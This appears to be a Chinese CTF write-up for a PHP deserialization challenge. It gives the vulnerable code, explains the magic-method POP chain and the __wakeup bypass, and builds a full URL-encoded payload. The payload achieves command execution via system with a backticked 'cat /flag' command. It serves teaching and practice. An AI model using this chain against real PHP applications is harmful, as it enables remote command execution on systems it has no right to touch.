php反序列化练习

目标环境

  1. PHP/5.6.24
  2. linux

题目

<?php

highlight_file(__FILE__);
error_reporting(0);
class DM_NO_1{
   private $a ;
   public function __wakeup(){
       $this->a = 'dmctf2019';
   }
   public function __destruct(){
       if ($this->a != 'dmctf2020'){
           die('2019 is out!');
       }
   }

}
class DM_NO_2{
   private $b;
   private $c;
   private $d;
   private $e;
   public function __toString(){
       $func = $this->c;
       $func();
       if(DM_NO_3::$flag){
             $this->b->{$this->d}($this->e);
       }
   }
}
class DM_NO_3{

   public static $flag = 0;
   public function set_flag(){
       self::$flag = 1;
   }
   function __call($name, $args){
       $name(json_encode($args));
   }


}

$pop = $_GET['pop'];
unserialize($pop); 

知识点

  1. __wakeup将在序列化之后立即被调用,需要绕过
  2. __destruct当一个对象销毁时被调用
  3. __toString当一个对象被当作一个字符串使用
  4. __call当调用一个不存在的函数时调用此方法

WP

  1. 根据代码unserialize($pop);反序列化相应数据。

    $pop = $_GET['pop'];
    unserialize($pop); 
  2. __wakeup被调用后,只有$this->a = 'dmctf2019';赋值语句,且__destruct存在字符串比较函数,因此$this->a为DM_NO_2对象。

    class DM_NO_1{
    private $a ;
    public function __wakeup(){
       $this->a = 'dmctf2019';
    }
    public function __destruct(){
       if ($this->a != 'dmctf2020'){
           die('2019 is out!');
       }
    }
    
    }
  3. DM_NO_2的__toString函数有if(DM_NO_3::$flag)判断,因此$func();需要调用DM_NO_3的set_flag函数,$this->c则为set_flag。$this->b为DM_NO_3对象,$this->d为相关函数调用,$this->e为相关方法。

    class DM_NO_2{
    private $b;
    private $c;
    private $d;
    private $e;
    public function __toString(){
       $func = $this->c;
       $func();
       if(DM_NO_3::$flag){
             $this->b->{$this->d}($this->e);
       }
    }
    }
  4. DM_NO_3的__call方法调用不存在的方法时,会走到$name(json_encode($args));,$name和$args为DM_NO_2相关可控参数,json_encode会转为json字符串,且__call调用时会把$args转为Array类型,转为字符串则包含'[xxx]'字符串,这里需要用到linux平台的特定知识,反引号会作为命令优先执行,这样就不怕system命令执行失败。

    class DM_NO_3{
    
    public static $flag = 0;
    public function set_flag(){
       self::$flag = 1;
    }
    function __call($name, $args){
       $name(json_encode($args));
    }
    
    
    }
  5. 构造序列化数据。

    <?php
    class DM_NO_1{
    public $a ;
    public function __wakeup(){
       $this->a = 'dmctf2019';
    }
    public function __destruct(){
       if ($this->a != 'dmctf2020'){
           die('2019 is out!');
       }
    }
    
    }
    class DM_NO_2{
    public $b;
    public $c;
    public $d;
    public $e;
    public function __toString(){
       $func = $this->c;
       $func();
       if(DM_NO_3::$flag){
             $this->b->{$this->d}($this->e);
       }
    }
    }
    class DM_NO_3{
    
    public static $flag = 0;
    public function set_flag(){
       self::$flag = 1;
    }
    function __call($name, $args){
       $name(json_encode($args));
    }
    
    
    }
    
    $demo1 = new DM_NO_1();
    $demo2 = new DM_NO_2();
    $demo3 = new DM_NO_3();
    
    $demo2->b=$demo3;
    $demo2->c=[$demo3,'set_flag'];
    $demo2->d='system';
    $demo2->e='`cat /flag > test.txt`';
    $demo1->a=$demo2;
    
    echo serialize($demo1);
    ?>
  6. 获取序列化数据为O:7:"DM_NO_1":1:{s:1:"a";O:7:"DM_NO_2":4:{s:1:"b";O:7:"DM_NO_3":0:{}s:1:"c";a:2:{i:0;r:3;i:1;s:8:"set_flag";}s:1:"d";s:6:"system";s:1:"e";s:22:"`cat /flag > test.txt`";}},因为变量是私有变量,因此补充a为%00DM_NO_1%00a等等,最终的payload为:O:7:%22DM_NO_1%22:4:{s:10:%22%00DM_NO_1%00a%22;O:7:%22DM_NO_2%22:4:{s:10:%22%00DM_NO_2%00b%22;O:7:%22DM_NO_3%22:0:{}s:10:%22%00DM_NO_2%00c%22;a:2:{i:0;r:3;i:1;s:8:%22set_flag%22;}s:10:%22%00DM_NO_2%00d%22;s:6:%22system%22;s:10:%22%00DM_NO_2%00e%22;s:22:%22`cat%20/flag%20%3E%20test.txt`%22;}}。最后访问输出的txt即可。
  7. 如图
    2025-02-26T05:45:32.png
    2025-02-26T05:46:11.png